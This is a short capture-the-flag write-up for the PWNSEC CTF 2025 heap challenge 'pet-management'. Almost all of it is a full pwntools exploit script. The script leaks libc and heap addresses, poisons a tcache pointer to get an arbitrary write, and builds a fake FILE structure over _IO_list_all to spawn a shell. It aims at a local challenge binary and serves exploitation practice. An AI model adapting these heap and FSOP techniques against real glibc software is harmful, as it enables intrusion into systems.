2025-8
Challenge information
CTF: PWNSEC CTF 2025
Challenge:
pwn/pet-managementSolves: 10
Description: ``
Time-wasting to solve: 180 min (in total)
Writeup
let me continue to solve yesterday's challenge: 2025-7
After I leaked the libc and heap base addr, overwrite tcache's next pointer to implement aaw.
Just in case, let me show the equation of safe-linking again.
Preparing fake file structure and overwriting _IO_list_all gained me a shell.
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"[*] {(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
#0x5060
sln(1)
sln(0x20)
sl(b"A"*0x10)
sln(0x810)
sl(b"1")
sl(b"a"*0x10)
sl(b"A"*0x10)
sln(1)
sln(0x100)
sl(b"B"*0x100)
sln(0x810)
sl(b"1")
sl(b"b"*0x10)
sl(b"B"*0x10)
sln(1)
sln(0x300)
sl(b"B"*0x100)
sln(0x810)
sl(b"1")
sl(b"b"*0x10)
sl(b"B"*0x10)
sln(1)
sln(0x20)
sl(b"A"*0x8)
sln(0x810)
sl(b"1")
sl(b"a"*0x10)
sl(b"A"*0x10)
sln(4)
sln(0)
sln(-1)
pay(
b"C"*0x20,
0,
0x421
)
sl(payload)
sln(5)
sln(1)
sln(1)
sln(0x100)
sl(b"D"*0x10)
sln(0x810)
sl(b"1")
sl(b"d"*0x10)
sl(b"D"*0x10)
sln(3)
r()
sln(2)
ru(b"Name: ")
leak = rl().strip()
leak = pu64(leak)
leak = leak << 8
leak += 0x20
hl(leak)
libc.address = leak - (0x000078b35f203b20 -0x000078b35f000000 )
hl(libc.address)
sln(1)
sln(0x100)
sl(b"E"*0x10)
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(5)
sln(4)
sln(3)
r()
sln(2)
ru(b"Name: ")
leak = rl().strip()
leak = pu64(leak)
hl(leak)
heapBase = leak << 12
hl(heapBase)
sln(1) #idx4
sln(0x100)
sl(b"3"*0x10)
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(1) #idx5
sln(0x100)
sl(b"4"*0x10)
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(5)
sln(4)
sln(5)
sln(1)
sln(4)
sln(0)
sln(-1)
rst()
pay(
b"A"*0x20,
0,
0x111,
libc.sym["_IO_list_all"] ^ (heapBase >> 12)
)
payload = payload
sl(payload)
def fsop_IO_list_all(addr):
fs = b"/bin/sh".ljust(8, b'\0')
fs += p64(1)
fs += p64(libc.sym["system"])
fs += b"\x00" * (0x88 - len(fs))
fs += p64(addr+0x18)
fs += b"\x00" * (0xa0 - len(fs))
fs += p64(addr - 0x10)
fs += b"\x00" * (0xc0 - len(fs))
fs += p32(1)
fs += b"\x00" * (0xd0 - len(fs))
fs += p64(addr - 0x8)
fs += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x18)
return fs
sln(1)
sln(0x100)
sl(fsop_IO_list_all(heapBase + 0x2d0))
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(1)
sln(0x100)
sl(p64(heapBase + 0x2d0))
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(6)
shell()
Last modified: 21 November 2025